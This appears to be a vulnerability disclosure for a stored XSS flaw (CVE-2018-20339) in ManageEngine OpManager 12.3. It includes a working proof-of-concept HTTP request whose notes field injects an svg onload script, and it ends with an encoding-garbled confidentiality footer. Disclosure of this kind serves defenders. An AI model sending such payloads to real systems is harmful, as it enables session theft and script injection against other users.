I. VULNERABILITY
-------------------------
Zoho ManageEngine OpManager 12.3 before build 123239 allows XSS in the
Notes column of the Alarms section

II. CVE REFERENCE
-------------------------
CVE-2018-20339

III. VENDOR
-------------------------
https://www.manageengine.com

IV. TIMELINE
-------------------------
20/11/18 Vulnerability discovered
20/11/18 Vendor contacted
20/12/2018 OPManager replay that they fixed

V. CREDIT
-------------------------
Murat Aydemir from Biznet Bilisim A.S.

VI. DESCRIPTION
-------------------------
ManageEngine OPManager product(version 12.3) was vulnerable to stored
xss attacks. A successfully exploit of this attack could allow thief
users sessions or arbitrary interpret javascript code on remote host.
References: https://www.manageengine.com/network-monitoring/help/read-me.html,
https://bugbounty.zoho.com/bb/info#hof

VII. PoC
-------------------------
POST /api/json/alarm/addNotes?apiKey=5f5e26abc7bf2af2a5669cf258ec8385&isFluidic=true
HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://vulnerablehost/apiclient/ember/index.jsp
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 113
Cookie: JSESSIONID=DF47AA5596862216FF9BBBAE234975C1;
encryptPassForAutomaticSignin=82a3161ad68e57b6;
userNameForAutomaticSignin=admin;
domainNameForAutomaticSignin=Authenticator; signInAutomatically=true;
authrule_name=Authenticator;
opmcsrfcookie=5bb7df90-d1a4-4942-ae64-e5308fb5d501;
f2RedirectUrl=http%3A%2F%2F192.168.252.150%3A8061%2Fapiclient%2Fember%2Findex.jsp%23%2FAlarms%2FAlarm%2FDetails%2Fkkkkk_192.168.252.150_URL_Poll;
NFA__SSO=57D7F0938B20457F49BB1791E756CAC3
DNT: 1
Connection: close

notes=aabbcc%22%3E%3Csvg%2Fonload%3Dconfirm('xss_in_notes_parameter')%2F%2F&entity=kkkkk_192.168.252.150_URL_Poll

-- 




    
    



Bu mesaj ve ekleri, mesajda 
gAPnderildiAi belirtilen 
kiAi/kiAilere APzeldir ve gizlidir. Bu mesaj 
herhangi bir amaASS iASSin 
ASSoAaltA+-lamaz, daAA+-tA+-lamaz ve yayA+-nlanamaz. 
MesajA+-n gAPnderildiAi kiAi 
deAilseniz, mesaj iASSeriAini ya da eklerini 
kopyalamayA+-nA+-z, yayA+-nlamayA+-nA+-z 
ya da baAka kiAilere yAPnlendirmeyiniz ve 
mesajA+- gAPnderen kiAiyi derhal 
uyararak bu mesajA+- siliniz. Airketimiz, 
mesajA+-n iASSeriAinin ve eklerinin 
size deAiAikliAe uArayarak veya geASS 
ulaAmasA+-ndan; gizliliAinin 
korunmamasA+-ndan; virA1/4s iASSermesinden ve 
bilgisayar sisteminize verebileceAi 
herhangi bir zarardan sorumlu 
deAildir


This message and its 
attachments 
are confidential and intended solely for the recipient(s) 
stated therein. 
This message cannot be copied, distributed or published 
for any purpose. 
If you are not the intended recipient, please do not 
copy, publish or 
forward the information existing in the content and 
attachments of this 
message. In such case please notify the sender 
immediately and delete all 
the copies of the message. Our company shall 
have no liability for any 
changes in or late receiving of the message, 
loss of integrity and 
confidentiality, viruses and any damages caused in
 anyway to your computer 
system based on this message.